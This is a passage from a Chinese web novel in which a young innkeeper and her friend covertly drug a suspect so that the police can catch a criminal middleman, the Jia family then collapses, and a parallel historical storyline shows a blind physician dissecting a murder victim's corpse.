被放出来的那几个人,其中有一个,就暂时落脚在了这里。 罗小胖悄悄打了个哈欠,咂咂嘴: “要我说,他们都不是本地人,被放出来之后就应该立刻跑路才是,怎么还会留在海城?” “你爸让他们不许走,说要随时配合调查,跑路了不就证明了他们确实有问题?” “他们不跑也有问题啊,大家心里都跟明镜似的,只是没有证据而已。” 秦绵绵点点头: “说得有道理,所以,其他人其实都已经跑了。只要不往幕后之人的老巢跑,跑得越远,就越能分散警方的注意力。现在,你猜这个人,他为什么不跑?” 罗小胖看着秦绵绵,总觉得这小丫头从警局回来一趟,就好像他爹上身一样,分析起案情来爹里爹气的。 “我说小秦丫头,你能找到这来,肯定是有人告诉你的吧。你跟我爸到底达成了什么交易?你是不是把我卖了?” 秦绵绵拍拍他的肩膀:“放心,我怎么会出卖兄弟……再说你也没那么值钱。” 罗小胖:“……” 秦绵绵却已经又把目光转回去。 不远处的小饭店里,几桌客人正喝酒吃饭热火朝天。 角落里的一张桌子上却有一个男人独坐喝酒,那就是秦绵绵今天盯梢的对象。 这人长得十分魁梧,目测身高就有一米九,往那一坐,一个人占两个人的位置,像座大山一般。 他身材也十分健硕,不管横着还是竖着,都得顶1.5个罗小胖,加起来就是3个罗小胖。 罗小胖望着这魁梧的身影,啧了一声。 能顺利找到他,也肯定不是秦绵绵自己的本事,而是因为警方也一直在盯着他。 罗小胖好歹也是刑侦世家出身,看了一圈,就很快就发现了几个盯梢的便衣。 外面车里有,小酒馆里喝酒的人也有。 他这才微微松了口气。 有别人帮忙,今天应该没什么太大危险。 “所以,到底盯什么,看他跟那些人接触?” “你看他像蠢到会主动跟人接触吗?” “那我们来干什么?” 秦绵绵却给车子打着了火,往巷子外面开去。 只因那人喝完了酒也出来了。 “我们要给他……下药。” 这人十分谨慎,从小饭店出来,别的地方哪都不去,买了一包烟,就直奔歇脚的小旅馆。 盯梢的便衣没有贸然跟上去,分散在了旅馆前后门。 秦绵绵的车停得更远,却拽着罗小胖下了车,直接往旅馆里面走。 罗小胖:“我说小秦丫头,我知道你身手好,但你不怕打草惊蛇……” 秦绵绵头也不回:“我说行就行。” 罗小胖的手机却突然响了,是他老爸。 接起来,罗正松在那边压低声音怒吼:“你们进去干什么,给我站住,立马回来!” 罗小胖说了一句黑话,罗正松立刻明白,更着急了: “下药,下什么药!疯了吗!那丫头以为这是在演电视剧呢!不行,你们立刻马上给我回来!” 然而就这么两句,罗小胖的反骨就突然被激起来了。 “什么意思,敢质疑我们家小秦丫头?小秦丫头想办的事还没办不成的,你等着看吧!”罗小胖给罗正松撂下这句狠话,立刻就挂断了电话。 而下一秒,他就看到不远处的便衣下了车,朝着他们飞奔而来。 看来是要阻止他们。 罗小胖一把扯住秦绵绵就往小旅馆里窜。 便衣们跑到门口,顿住脚步,他们还是怕打草惊蛇,商量了一下,只派一个人进去阻拦秦绵绵他们。 而就在这个当口,秦绵绵和罗小胖已经窜上了二楼。 二楼有七八个房间,却不知道刚才那大汉到底去了哪个房间,但秦绵绵有办法。 她装作自己是来捉奸的,朝保洁阿姨哭诉一番,就顺利知道了房间号码。 但她却带着罗小胖闯入了隔壁房间。 保洁阿姨急的跺脚:“闺女啊,走错了!” 却被秦绵绵一伸手也拉进了房间里面,反手关上了门。 房间里住的是两个男客人,此刻正在洗澡……一起洗澡。 见几人闯进来,立刻就要尖叫,秦绵绵却掏出一张证件晃了晃: “警察办案,都配合一下!” 顿时就没人说话了。 秦绵绵略一思索,拿起桌上的电话递给罗小胖:“给他打电话。” “啊?” “打啊,吸引他的注意力。” “我说啥啊?” “随便你。” 秦绵绵却抄起一瓶矿泉水,转头打开了窗户。 她身形利落,攀着窗户就跃到了外面的空调外机上,不费吹灰之力就来到了隔壁的窗边。 罗小胖却看的心惊肉跳的,一狠心,拨通了隔壁的电话。 那边接起来,却警惕的不说话,罗小胖忽然夹起嗓子: “喂,先生啊,需要客房服务吗,我们这边有……” 男人冷酷地拒绝了:“不需要。” 罗小胖却不依不饶:“先生您等等嘛,我给您介绍介绍……” 男人:“滚!” 然后啪嗒一声挂了电话。 听着电话里面传来的忙音,罗小胖难受了。 他这才是打草惊蛇吧,唉,真笨,早知道想个别的借口了。 这么短的时间,小秦丫头肯定没办成事,但男人已经起了警惕心,再想接近他就困难了。 但就在他懊恼不已的时候,秦绵却翻窗回来了,手上的矿泉水也已经没有了。 她眨眨眼睛,低声一笑:“成了。” 第127章 小秦丫头路子野 保洁阿姨目瞪口呆,朝秦绵绵竖起大拇指:“闺女啊,小小丫头干刑警,真是了不起啊!” 两个正在洗澡的男客人也顾不上矜持了,两人叠在一起从洗澡间往外探头,满脸好奇:“美女警官,透漏透漏是什么案子呗!” 秦绵绵却冷了脸:“大案要案,不要随便打听,就当我们从没来过。” 说完,带着罗小胖就往外走。 谁知,刚打开大门,隔壁的大门竟然也“咔哒”一声打开了。 那魁梧的男人伸出头来,警惕地左右张望。 秦绵绵立刻收回了脚。 可就在这几秒钟的时间,男人却已经看到了她的身影。 男人想了想,忽然走出门来,朝隔壁房间大门走去。 谁知刚迈出一步,隔壁房间里突然传出很大的动静。 男人过来一看,只见两个光溜溜的男人躺在床上,满脸都是被突然撞见的尴尬,一个女人奋力撕扯着他们,尖叫着,怒骂着。 另有一个娘里娘气的胖子,跟楼层的保洁阿姨一起,在旁边劝慰着女人。 好家伙,原来是一场捉奸大戏。 男人顿时消除了戒备心,转而看起了热闹。 这里的热闹很快惊动了楼层里的其他住客,有人忍受不了大半夜的吵闹,开门斥责了几句。 谁知屋里捉奸的女人脾气还挺大,直接丢出一个水杯,水杯“啪”的一声碎裂在了楼道中,怒斥的人立刻缩了回去。 男人仍旧警惕,热闹虽然好看,但他并不多呆,很快就回房间去了。 小旅馆隔音很差,男人在房间里依然能听到隔壁的动静,他听得起劲,顺手拿起了窗边桌子上的矿泉水喝。 ……嗯,这矿泉水盖子是打开的……好像是刚才自己打开的吧…… 男人听得隔壁一声高过一声的叫骂声,完全没有把注意力放在水瓶上面,径直把里面的水喝进了肚子。 半个小时之后,形容狼狈的秦绵绵和罗小胖悄悄离开了小旅馆。 本来打算追上来劝阻他们的警员就蹲在大门不远处,看见他们这幅样子,表情十分复杂。 双方并没有说话,蹲点的警员按兵不动,假装根本没有看到秦绵绵他们,更不会再阻止他们了。 ——虽说秦绵绵路子野了些,但今天好歹是成功了。这事如果传到罗头儿那边,罗头儿一定又要跳脚,那肯定很精彩。 坐进车里,秦绵绵和罗小胖互相看了一眼,都哈哈大笑起来。 “真有你的啊,小秦丫头!” 秦绵绵拍他肩头:“你也不差啊,姐妹!” 罗小胖脸色爆红:“人家不也是急中生智嘛!但我还是不如你,你准备得可够充分的,连假证都有!” 秦绵绵却摸出那证件扔给他,罗小胖打开一看:“青塔湖景区导游证?!” 两人兀自笑成一团,罗小胖的手机却响了,接起来又是罗正松。 罗正松的声音怒不可遏:“胡闹!你们简直是太胡闹了!不顾警员的劝阻,你们私自去打草惊蛇!这可是我追了二十年的大案,都毁在你们手里了!罗吉,我命令你立刻、马上,到市局来给我谢罪!” 秦绵绵夺过手机:“罗伯父,不要这么大火气嘛。你怎么知道我们没成功呢?” 那边罗正松一下子哑火了。 “你们……成功了?” “不然我们怎么会这么久才下来嘛。” “你还好意思说,这么久没动静,我差点派人上去救你们!” 罗小胖在旁插话:“我让你相信小秦丫头的,你偏不信。” 罗正松在电话那头冷笑:“信什么?信不信的也全凭你们一张嘴,我怎么知道你们事情一定成了。” 秦绵绵笑道:“罗伯父不信也没关系,我可以跟您打个赌,不出三天,一定能找到那个中间人的踪迹。” 罗正松自然不信,要知道他为了找这个中间人,找了整整二十年! 这二十年间,他们也不是没有抓到过作案人员,但所有的人都跟如今的这个团伙一样,说什么也不肯供述出中间人。 抓不住中间人,就抓不住真正出钱做这些生桩大案的上游买家。 这些建筑项目的背后,无一不是大企业大财团,他们的对手,只会更强,一般人也没有这个能量,也没有这个胆量,能犯下这样的案子。 而没有实质性的证据,他哪个都抓不了。 这些年来,这个问题简直都成了他的一块心病了。 但现在,电话那头,他那个不成器的儿子,和那个神神叨叨的小丫头却说,他们用半个小时时间,把这件事搞定了! 他才不信! “打赌就打赌!小丫头,你有什么可以赌的?!” 秦绵绵一把拽过罗小胖:“你儿子在我手里!” 罗正松:“……” 罗小胖:“……” “三天之内,如果找不到那个中间人的踪迹,我就把你儿子还给你,怎么样?” 父子两人都沉默了。 这话听起来好别扭,但又说不出来哪里不对劲,怎么回事呢? …… 罗小胖战战兢兢过了两天。 “我一世英名就要毁在你小秦丫头手里了!你到底行不行啊?你真要把我卖了啊?” 秦绵绵不胜其烦:“都说了你没那么值钱!但除了你,你爹也不要别的赌注,怎么办呢?” 她拍拍罗小胖的肩,语重心长地道:“还有,你要相信老祖宗的手段。” 罗小胖不是很明白,这跟老祖宗又有什么关系?但秦绵绵却不肯多给他透漏半个字了。 罗小胖胆战心惊地挨到了第三天晚上,警局那边却仍然没有消息,他干脆给大家做了一顿大餐,美其名曰“最后的晚餐”,然后开始回房收拾包袱。 他觉得他爸明天就会来把他带回去,他就要回去京城的牢笼继承家业了,苦啊。 姚祁和姜芙一起抢同一块肉,还不忘揶揄他: “傻啊你,要是真没有消息,他这会儿就来逮你了,还能等到明天?” “就是,没有消息就是好消息,这会儿估计正忙着抓中间人呢,根本没工夫说赌约的事。” “再说了,估计罗大长官也不好意思来,他可是赌输了呢,哈哈。” 罗小胖恍然大悟,一蹦三尺高。 他赶忙给自己的警局内线打电话,果然立刻得到一个好消息——中间人抓到了! 第128章 贾家倒台了 具体的过程很是玄妙,据说那个魁梧大汉本来反侦察能力极强,无论他们怎么蹲点盯梢,他就是丝毫没有破绽,每天两点一线,不跟任何人接触,但也并不离开海城。 但就在秦绵绵去过小旅馆后的第二天,那个大汉却不知道怎么了,突然做出了很多反常举动。 他的电话也有了异常动向。 他的同伙立刻察觉了不对劲,在电话里警告他,大汉非但不听劝,还直接抢了个出租车,直奔海城市郊的一片废弃厂房。 警方连忙跟过去,果然在那里抓到了正在跟人秘密见面的中间人。 而大汉见到那中间人,却兀自冲过去让他快走,大喊大叫着有人要害他。 中间人不明所以,呵斥不已,大汉却状若疯癫,坚称有人要害那中间人,他是来救他的。 双方撕扯起来,中间人察觉不妙,准备开溜,但却已经被警察团团围住了。 而这一趟更大的收获就是,当时跟中间人见面的不是别人,正是贾家的掌舵人,京城贾家家主,贾利方。 提起贾利方,无论京城,海城还是别的地方,只怕只要是下海做生意的,就没有不知道的。 他实在是太有名,也太有钱了,背后还有太多别人不知道的隐秘交易、人脉网络,这是一个无论在京城还是全国,跺一跺脚都会让商界抖三抖的人物。 这样的人物,竟然在这小小的海城落网了,而且还是让罗正松的人给抓了个正着。 小警员悄咪咪跟罗小胖学: “大公子你不知道啊,罗厅激动得都快哭了,我们还听见他念叨,说自己在退休之前还能再立个大功,真是光宗耀祖啊,哈哈哈……” 小警员学得惟妙惟肖的,罗小胖给客栈众人学的也惟妙惟肖的,大家都畅快不已。 姚祁笑眯眯: “今天这顿谁请啊,这下不光案子破了,贾家只怕也要遭受重创,这可是大喜事,要我说,咱们得庆祝三天三夜,罗小胖,你买单!” 罗小胖紧紧捂住口袋:“我没钱!” 秦绵绵看看姚祁:“这顿我请客。不过贾家就此倒台,有点过于理想了,百足之虫还死而不僵呢,贾家这么厉害,怎么会轻易就彻底倒了。” 姚祁捏着手机,笑得好像一只小狐狸:“那可说不定呢,或许多行不义必自毙呢,咱们拭目以待呀。” 结果没几天,一大早,姜芙拿着手机手舞足蹈地冲进来,喊秦绵绵看头条。 客栈众人纷纷过来围观,都惊诧不已。 “好家伙,贾利方真进去了啊!” “不止这个,贾家的股票也跌得没眼看了!” “听说好多竞争对手趁机吞并贾家的产业呢!” “还有还有,从贾利方身上还挖出蛀虫了呢,这里面啊,水深着呢!” 秦绵绵却神色淡淡,并没有多少欣喜。 谁下手,谁得利,她并不在乎,她只在乎贾家到底能不能彻底垮掉。 罗小胖有人脉,姚祁也有人脉,这几天消息接连不断传来,贾家确实如姚祁所说,真的遭受了重创。 简直就是以迅雷不及掩耳之势,迅速地倒台了。 贾家其他人本想出国避祸,却也被警方提前得知消息扣下了,本想转移的资产也没能转走。 这里面据说应该是有一些神秘人的帮助,有可能是政界的,也有可能是商界的。 但不管怎么样,在打击贾家这件事上,大家都获得了前所未有的胜利。 罗小胖十分畅快:“这叫什么,这就叫墙倒众人推,还是小姚说得对,多行不义必自毙!” 姚祁兀自耍着手机,微笑不语。 秦绵绵却在更远处,默默注视着姚祁。 没几天,新的事情又更加印证了贾家倒台的事。 付英过来告知秦绵绵,楼盘项目一切准备妥当,等她过去开工剪彩,就能正式动工了。 秦绵绵带着打扮一新的客栈众人出席了剪彩仪式。 包工头很是热情,激动地拉着秦绵绵要一起吃饭。 众人上了车,正好路过隔壁的那个地块,却看见那地块上原本已经驻扎下来的施工队此刻正在打包走人。 包工头激动地口沫横飞: “秦小姐,您知道吧,这块地就是那个贾芊芊拍下来的那块……就是她跟您在拍卖会上竞争的那块地来着……” “估计您也知道了,贾家最近倒台了呢!这个贾芊芊啊,也不能作威作福了。这块地本来是她拍下来的,可是贾家这么一倒台,她连后续资金都给不起了,这不,政府又给收回去了,还收了她的违约金呢!” “可惜啊,她也没能力付违约金了。听说这位大明星正到处走穴赚钱呢,她花钱如流水,欠的窟窿不知道多大呢!” 包工头说着说着,觉得车上气氛有点不对,怎么他说什么,秦小姐那边都没人回应呢? 难道马屁拍到马腿上了,不应该啊。 网上都有小道消息说了,说这个贾芊芊曾经刁难过秦绵绵呢。 一旁的姚祁适时拍拍他的肩膀:“张哥别多想,我们啊,就是太爱听了,你看秦小姐都听得入迷了呢,会说你就多说点!贾家怎么惨的,讲的越仔细越好!” …… 回到客栈,大伙儿还在讨论着贾芊芊的这次倒台。 因为贾芊芊的威逼利诱,本来是秦绵绵合作伙伴的虞宗辰倒戈跟贾芊芊站在了一边,不知道此时此刻,他会作何感想。 碍于钱老先生的关系,秦绵绵并没有对虞宗辰的背叛进行打击报复,但大家却都猜得到,虞宗辰现在肯定是很后悔的。 进了门,却见帮忙看门的赵立生正在美滋滋地啜着奶茶,桌上还放着好多没开封的奶茶等饮料。 “咦,赵叔有什么好事,请大家喝东西?” 赵立生却眼睛亮亮:“这不是我请的,是别人请咱们的!咱们景区啊,新开了一家奶茶店,店主人很神秘,还戴着面纱,她的东西便宜又好喝,这生意刚开张就好得很!这不,景区里每家店铺她都送了奶茶!” 大家立刻上来一顿哄抢,各自分到手之后,发现竟然还多了一杯,其他人都没在意,秦绵绵却有点出神。 罗小胖凑过来,低声揶揄:“我知道,这一杯啊,肯定是给咱们那位不在的裴先生的。” 第129章 大影帝爹味发言 秦绵绵并不承认:“人家又不知道咱们店里都有谁,凑巧而已。” 罗小胖笑嘻嘻:“你敢说你不想把这杯奶茶给他喝?” 秦绵绵不理他,甩手走了。 她拐到隔壁超市,打包了一些零食,准备送去给那位奶茶店主人当回礼。谁知还没走到门口,就看到奶茶店门前站着一个俊逸出挑的人影,正在跟那奶茶店主人拉扯。 那侧脸那身材,因为实在太过出众,导致秦绵绵只看一眼就知道是谁了。 不是别人,正是投靠了贾芊芊而消失许久的大影帝,虞宗辰。 而奶茶店主确实如赵立生所说,身着古装,带着面纱,看上去美丽又神秘。 但虞宗辰相比之下就显得很不绅士了,拉扯间,他突然猛地伸手,把店主的面纱给扯了下来。 露出面纱下面一张清丽的小脸,却是房小雪。 “好了,你欲擒故纵也要有个限度,我的耐心是有限的。” 不知道戳到了哪根神经,一向矜贵自持的大影帝虞宗辰突然开始爹味发言: “小雪,我知道,你突然离开没了消息,不过是因为对我心灰意冷了。而你还愿意回到这里开店,是心里有我,放不下我,所以来这里寻找回忆,期待我能再次出现。” “现在好了,我回来了,你可以放下你的矜持了。” “但我丑话说在前头,芊芊在我心里才是第一位的,我不能没有她。我们商量过了,可以接受你加入我们,但你永远都是第二,不要妄想和她抢位置,你懂?” 秦绵绵站住脚步,皱起眉头。 要不是景区不让乱扔垃圾,她现在就已经要吐出来了。 很难想象房小雪现在的心情,她是怎么忍住不把面前的那杯水泼在他脸上的。 然而这还没完,虞宗辰突然昂头,做出一个自以为痞帅的姿态,全然不管房小雪的表情,继续道: “芊芊到底是大度,不光不计较你从前针对她的一切,允许你陪伴在我们身边,还允许你继续去拍戏。你要好好感谢她,知道吗?” “行了,这破店有什么好留恋的,赶紧收拾收拾跟我们走吧,还有三个戏等着你演呢,虽然是友情出演,但芊芊肯给你机会已经很不错了,人要懂得感恩。” “我知道你开心得有点不知所措,但你先收收你的心思,一切以芊芊为重,懂?” 可惜房小雪不懂。 她瞪大眼睛望着对面的人,一时间竟然不知道该从哪里回嘴比较好。 但下一秒,却已经有人帮她做出了决定。 只见秦绵绵走过来,抬手,哗啦一声,就把准备做奶茶的一大杯水整个浇在了虞宗辰头上。 那水里还夹着冰,寒冬腊月里,滋味别提多酸爽了。 虞宗辰终于闭上了爹味发言的嘴巴。 他不可置信地望着秦绵绵。 秦绵绵把水杯往柜台上一摔: “怎么,贾芊芊是把你的脑子摘下来放进洗衣机里洗了?也就半个多月没见,你让她洗脑洗得连正常的人话都不会说了?” 虞宗辰一整个脸色爆红,秦绵绵虽然比他矮不少,可面对她强大的气势,他却一个字也说不出来。 这时,不远处的一辆车门突然打开,一个窈窕美丽的身影跑下来,直冲秦绵绵。 “姓秦的,你这个贱人,你他妈的¥@!%……” 贾芊芊依旧那么美丽,但美丽皮囊下的疲惫却也非常的明显,大小姐的矜持也没有了,竟然直接口出脏话,还要动手。 秦绵绵自然不会给她这个机会。 她身子一闪,抢在贾芊芊前面,捞起柜台后的另外一个大杯子,就往贾芊芊的脑袋上倒去。 房小雪:“哎,这是……” 可惜已经来不及了。 一大杯粘稠的糖浆顺着贾芊芊美丽的脸庞流了下来,糊了她满身。 贾芊芊一动也不能动了,黏糊糊的糖水顺着她的头发身体滴滴答答往下流,流得满地都是。 虞宗辰都傻了,想帮忙,却不知道应该从哪下手。 景区里响彻起贾芊芊痛苦的尖叫。 秦绵绵恶心地啧了一声,退后一步:“真是的,又给保洁阿姨找麻烦了。” 贾芊芊气得浑身发抖:“秦……秦绵绵!!你给我等着!我跟你没完!” 秦绵绵冷笑:“本姑娘不喜欢等着,有本事你就当场报仇。” 贾芊芊都被糖浆封印了,哪里还报得了仇,她只能撂狠话。 房小雪拉住秦绵绵,低声劝了两句。 主要是怕贾芊芊带着狗仔,这些事情万一都被拍下来,发到网上,都是麻烦。 秦绵绵才不管这个,晃了晃大杯子:“去帮我打一杯开水来,我帮贾小姐洗洗。” 贾芊芊尖叫一声,拖着虞宗辰就跑。浑身糖浆却跑得比兔子还快。 秦绵绵掏出手机拍下了他们车子的车牌号。 房小雪:“这是做什么?” “发到群里,以后青塔湖景区不许接待他们,谁敢把他们放进来,罚款五百!” …… 得知奶茶店的店主是房小雪,客栈众人都很开心,晚上大家伙热热闹闹吃了一顿。 房小雪说母亲的手术很成功,现在就是安心调养就行了。 因为觉得青塔湖景区这边的空气好,所以干脆就带着母亲回来了,如果没有意外的话,甚至还想在这里养老。 “我等着秦小姐的楼盘盖起来呢,到时候先选一个好楼层!” 又说起狂热粉丝李一鸣的事,得知李一鸣真的改邪归正回医学院读书去了,众人皆啧啧称奇。 “只是……贾芊芊肯定不会这么善罢甘休的,虞宗辰家里也很有背景……” 姚祁咔咔啃鸡腿:“放心吧,咱掌柜的也不是吃素的……她爱吃肉。” 秦绵绵借着高兴,多喝了两口酒,菜没吃多少,就借口不胜酒力上楼休息去了。 没人注意到,她把那杯多出来的奶茶也悄悄带了上去。 夜空晴朗,窗外明月高悬,秦绵绵倚在窗口吹风。 奶茶就静静放在桌子上。 也许是酒劲上来了,她开始有点迷糊,躺回床上,朦胧间她突然冒出一个念头,不知道她如果集中精神,能不能试着到裴应见那里去? 这家伙,也不知道事情办得怎么样了。 这么想着,她就试着集中精力,但却愈发天旋地转。 没多久,她睡着了。 而另一边,大雍。 深夜,玄鹰司,后堂。 郎松的尸体摆在大堂正中,四下火光烈烈。 第130章 神医云承月 大堂被照得亮如白昼,可以清楚地看到郎松尸身的每一个细节。 他的脸色乌黑,宛若中毒,上身赤裸着,胸膛之上赫然有一个黑色掌印。 那掌印力道之大,直打得郎松胸前凹陷了下去,掌印之黑,甚至比郎松的脸更黑。 黑夜之中,这尸体越看越叫人觉得诡异至极。 主位上坐着玄鹰司大指挥使,右侧下首分别坐着刑部尚书、大理寺卿、顺天府尹,而左侧下首却只坐着一个人。 饶是被关了多日,又是如此深夜,男人的衣衫却整洁如新,仿佛不是来受审,而是准备去赴宴。 四下围着各司衙门的衙役府兵等数十人,堂中气氛凝重,落针可闻,男人却嘴角含笑,仿若春风,和对面三司主事人的满脸严肃形成鲜明对比。 三人对望一眼,看向上座的玄鹰司大指挥使,四个人一起交换过眼神,落在对面裴应见身上的眼神就更加不善了。 且还夹杂着许多愤恨。 凭什么,都到了这个地步了,落罪定案已成事实,他怎么这个时候了,还能笑得出来! 对面几人对裴应见的这幅态度都很是不屑,对今晚他的兴师动众更加不满。 对峙了一会儿,大指挥使率先开了口。 只见他勾起嘴角,冷笑道: “赤雷鬼手乃是镇国侯府家传秘技,这件事早已众所周知,负隅顽抗丝毫无用,还不如早日认罪,免受皮肉之苦。” 裴应见笑笑:“大指挥使这话的意思,难道是准备对本侯行刑了?” 他随意拿眼风扫了一下对面的众人。 “好心提醒一下各位,圣上还未曾定本侯的罪,本侯此刻还是世袭镇国侯,没让在座的各位行大礼,已算是本侯十分客气了。” 众人一下都变了脸色。 裴应见这话一点毛病没有,按照规矩,在座的这些人,包括上位的大指挥使,见了裴应见可是都该行礼的,毕竟对方好歹是个侯爵。 至于行刑,他们就更没有这个资格了,除非皇帝亲临,否则以他们的身份,谁也奈何不得裴应见。 众人脸色尴尬,大指挥使脸上更是挂不住: “哼,本使不知原来镇国侯竟是这般巧舌如簧,可惜此事证据确凿,再花言巧语也没用,更不必如此大费周章……剖尸?哈哈,可笑!本使还从未听说剖尸能找出什么证据的!” “是吗,那今天就让你长些见识。”裴应见说着,示意人下去传唤验尸的人上堂。 大指挥使气得冒烟,底下三人脸色也不好看。 他们三个都已经算得上是大雍刑狱之事最高掌权人,平时处置凶案的时候,顶多也就是观察一下尸表,还从未听说过尸体还能剖开来,并且还能找出证据的! 这裴应见被皇帝关押期间,却突然提出要剖尸,简直就是闻所未闻! 最关键的是,皇上竟然还答应了。 看着裴应见那一副笃定的模样,这边的几人心中都愤懑异常。 若裴应见此举真能验出什么东西,那简直就是打他们三个的脸,他们三人以后还怎么掌管这天下刑狱。 大理寺卿率先阴阳怪气开口: “侯爷确实让我们都涨了见识,我们审案多年,还从未听说大雍有此等人才的,不知道侯爷究竟是从哪里找来的,是什么样的能人啊。” 说着话,人来了,众人定睛一看,大理寺卿率先笑出了声。 来人竟然坐在轮椅里,是个残疾! 最最可笑的是,他目光空洞,双眼无神,显然是个瞎子! 三人顿时笑作一团。 “可笑,可笑,本官还是头一次听说,瞎子还能剖尸的!” “那村里的杀猪匠都得看得着猪才能下手,郎松这么大的一个尸体,瞎子怎么剖,光靠摸吗!” “裴侯爷这算什么,莫不是狗急跳墙?这要是传出去,简直要叫百姓们笑掉大牙了!” 裴应见却不理,站起身来,忽然朝轮椅上的人深深行了个大礼。 众人看得更是笑得止不住了。 “堂堂侯爷,竟然对一个瞎子行如此大礼!这瞎子是什么人,绝世天才吗?” “谁知道呢,眼睛看不见,说不定别的地方十分灵敏呢,人家比我们灵敏,岂不就是天才?” “可这位天才却站都站不起来啊……” 主座上大指挥使也笑开了,方才裴应见放出的狠话此刻看来简直就是个笑话。 “侯爷,这就是您今天请来剖尸的人?” “不错。” “好,好啊,那还等什么,这就开始吧。”大指挥使几乎要忍不住笑意了,他已经迫不及待地想看今晚这场笑话能好笑道什么程度。 裴应见却并不开始,反而整整衣衫,又坐回了椅子上去。 “不急,再等等。” “还等什么?” “等一个……让你们都笑不出来的人。” 一炷香之后,一个形容老迈,身材略显佝偻的男人缓步迈进了大堂。 来人步履从容,却仿佛带着雷霆万钧之势,叫人之看一眼他的气势就忍不住噤若寒蝉。 堂上的几人一愣,下一瞬,直接吓得赶紧屁滚尿流下来接驾。 “微臣叩见圣上!!” 来人不是别人,正是深夜微服前来的皇帝。 不用说,自然也是裴应见把他喊来的。 皇帝却并无不悦之色,进了大堂,不理会众人,却直奔轮椅上那个白衣身影而去。 “云神医!云神医!时隔一年,朕终于又再次见到你了!” 众人震惊! 原来这个坐着轮椅的瞎子,竟然是闻名大雍的神医云承月! 四人你看看我,我看看你,恨不得立时抽自己几个大嘴巴子! 神医云承月啊! 那可是只存在在传说中的人物! 谁能想到,他竟然是个残废,是个瞎子! 那传闻中也没提这茬啊! 民间关于云承月的传闻,那多得简直数不清了。 传说他的医术已经出神入化,登峰造极,可以活死人肉白骨。 无论是顽固的疑难杂症,还是重伤濒死生命垂危,只要经过他手,都能捡回一条命。 可谁也没有见过他的真容,只因他实在行踪飘忽不定,神龙见首不见尾。 如果侥幸能碰上他,被他医治,那简直就是祖宗积德,上苍垂怜。 可巧的是,去年这个时候,皇帝曾到国寺祭天,本来计划三日就回,谁知突然传出消息,皇帝要闭关祈福,圣驾就这么不走了,生生在国寺拖了一个月。 而后来才慢慢传出消息,皇帝当时其实根本不是闭关,而是突然得了疾病,险些龙驭宾天,幸亏得高人出手相助,才转危为安。 而这位出手的高人,正是神医云承月! 第131章 郎松的胃 据说后来皇帝赐下重赏,但云承月一概不收。 皇帝还想用高官厚禄把云承月留下来,云承月也不肯接。 后来皇帝恼了,强制把他留在身边,但谁知云承月却在一个月黑风高之夜,翩然不见了踪影。 只留给皇帝一个宝匣。 宝匣之中有一粒不起眼的黑色药丸,皇帝不知道是何物,但三个月后,他突然又复发了,病急乱投医之间,服了这颗药丸救命,果然又是药到病除。 皇帝心有余悸,没想到云承月竟然还留有后手,当初若真是强留住他,把他惹恼,不肯给他这小小药丸,如今这皇位就要换人坐了…… 后知后觉的皇帝终于颁下旨意,要求大雍从上到下,见神医云承月,需以亲王之礼待之,如有怠慢,格杀勿论。 而此时此刻,在场的四位大人一想到此,都不禁立刻出了一身冷汗。 大理寺卿抹了一把汗,把心提到了嗓子眼。 如果给他一次重来的机会,他就是把舌头割了,也一定不会说出刚才那些贬低云承月的话。 但谁知道堂堂皇帝的救命恩人,竟然会是个残废,还是个瞎子呢! 这一切,一定都是裴应见搞的鬼! 他一定早就知道,但却故意不说,就等着他们在圣上面前出丑! 大理寺卿只觉得浑身冷汗直流,看皇帝对云承月这个热络的样子,这岂止是出丑啊,若是被皇帝知道了刚才他们所说的话,轻则乌纱帽不保,重则……格杀勿论啊! 就在众人两股战战的时候,云承月已经被皇帝请到了上座。 一番寒暄,众人才知,原来是云承月自己递消息给皇帝,说让他今夜来此观看。 但皇帝也是刚刚知道,他要观看的,竟是现场剖尸! 皇帝威严冷峻的目光从裴应见脸上急速扫过:“云神医何时与镇国侯相识的?竟肯特意回京助他。” 云承月却一怔:“什么猴儿?” 反把皇帝和众官员给问得一愣。 一旁的裴应见更不给面子地笑出了声。 皇帝脸色沉沉,指着裴应见:“你不认识他?” 后知后觉云承月根本看不见,又忙把手缩了回来。 裴应见适时出声应和,云承月恍然: “是你啊。方才你与我行礼,我以为你是此番主审官,原来你竟是苦主……这么说,消息是你递给我的了?” 众人就更不明白这话了,还是裴应见站出来解释了一下。 原来他偶然得知云神医行踪,便故意告诉他说此间有个冤案,需要剖尸才能辨明。 而云神医正巧最近在研究解剖一道,众所周知,这种事情想多多练手那是非常困难的,有如此机会他哪里肯放过,于是便来了。 说来说去,这一切倒像是裴应见自己在里面操作,而云神医和他并不相识。 皇帝的脸色还是很难看。 云承月却等不及了,滚着轮椅往前走了两步:“尸首在哪里,何时可以开始剖尸?” 皇帝哪里还能说什么,到了这个地步,即便知道是裴应见做了这个局,诓来了云神医,他们也只能认栽。 毕竟云神医于皇帝有救命之恩,他急需尸体练手,皇帝怎么能说不行? 皇帝更是知道云神医的性情,他是向来是说一不二的。 最后,皇帝只好答应了云承月,并让人把他引到台子上。 只见云承月从轮椅下面取出一口小箱子来,打开一瞧,众人皆眼冒精光。 好家伙,神医不愧是神医,连剖尸这种事器具也准备得这么齐全。 这些器具不知是何种材质,它们通身皆泛着银光,在火光的照耀下闪亮异常,也锋利异常。 众人不禁暗想,这莫不是传说中的精钢? 听闻这东西世上少有,一把精钢所制的匕首就万金不换。 但云承月竟然有一大堆! 神医不愧是神医啊。 而云承月的轮椅也是特制的,竟然可以随意升降高度。 只见他轻轻按了一个机关,轮椅就忽然升高到了他所需要的高度。他伸手在郎松身上摸了几下,便毫无犹豫地下了刀。 皮肉被划开的声音响彻在大堂上,让人直觉毛骨悚然。 众人大气都不敢出,看着云承月这样那样一顿操作。 他的动作行云流水,简直如亲眼所见一般流畅自如,如若他自己不说,谁又能看得出他是个瞎子呢! 半个时辰之后,生前是堂堂尚书大人的郎松被彻底开肠破肚。 云承月放下手中刀具,热情地招呼皇帝来看: “此人乃是先被人灌下毒药,又被重掌击中而死。” 皇帝哪里敢过去参观,忙命大指挥使替他去看。 大指挥使饶是统领玄鹰司这种秘密衙门,但也不是很经常遇到这种开膛破肚的事情的,何况还要仔细研究。 但皇帝发了话,他只好硬着头皮去看。 云承月很是兴奋,仔仔细细给他讲解了一番,大指挥使却没听进去多少。 “这人本来就是被人一掌打死的,这个圣上早已知晓了。”他看了一眼裴应见,道,“而且,此人使得是家传秘技,中掌者不仅会被重创,那掌风还带毒,受害者乃是同时死于毒发和掌力之下,死状很惨……” 云承月却一拧眉:“这死者跟你所说全然不符,此人中毒和中掌,是完全分开的!” 众人谁也没料到竟会出现这样的情况,一时面面相觑。 